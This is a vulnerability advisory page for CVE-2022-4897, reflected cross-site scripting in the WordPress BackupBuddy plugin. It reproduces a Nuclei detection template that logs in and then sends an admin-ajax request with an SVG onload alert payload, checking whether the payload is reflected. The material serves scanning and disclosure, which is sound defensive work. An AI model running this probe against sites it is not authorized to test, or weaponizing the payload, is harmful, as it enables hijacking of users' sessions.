CVE-2022-4897: WordPress BackupBuddy <8.8.3 - Cross Site Scripting

2025-08-01 WordPress BackupBuddy PoC Public

Description

WordPress BackupBuddy plugin before 8.8.3 contains a cross-site vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in various locations. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-4897

info:
  name: WordPress BackupBuddy <8.8.3 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress BackupBuddy plugin before 8.8.3 contains a cross-site vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in various locations. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 8.8.3.
  reference:
    - https://wpscan.com/vulnerability/7b0eeafe-b9bc-43b2-8487-a23d3960f73f
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4897
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4897
    cwe-id: CWE-79
    epss-score: 0.00858
    epss-percentile: 0.56662
    cpe: cpe:2.3:a:ithemes:backupbuddy:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ithemes
    product: backupbuddy
    framework: wordpress
  tags: cve,cve2022,xss,backupbuddy,wordpress,wp-plugin,wpscan,wp,authenticated,ithemes,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=destination_picker&add=local&filter=local&callback_data=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.11
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "onload=alert(document.domain)")'
          - 'contains(body_2, "BackupBudddy iFrame")'
        condition: and
# digest: 490a00463044022042b49e0243ac4611ca9c8270f9bcd572c970db4bbeb0e2ed46fc83d93ac881d102204f0ab87863246eb41af3af48dd222e87a76447e4dc19802d375264b4d6be0bb4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4897.yaml

References

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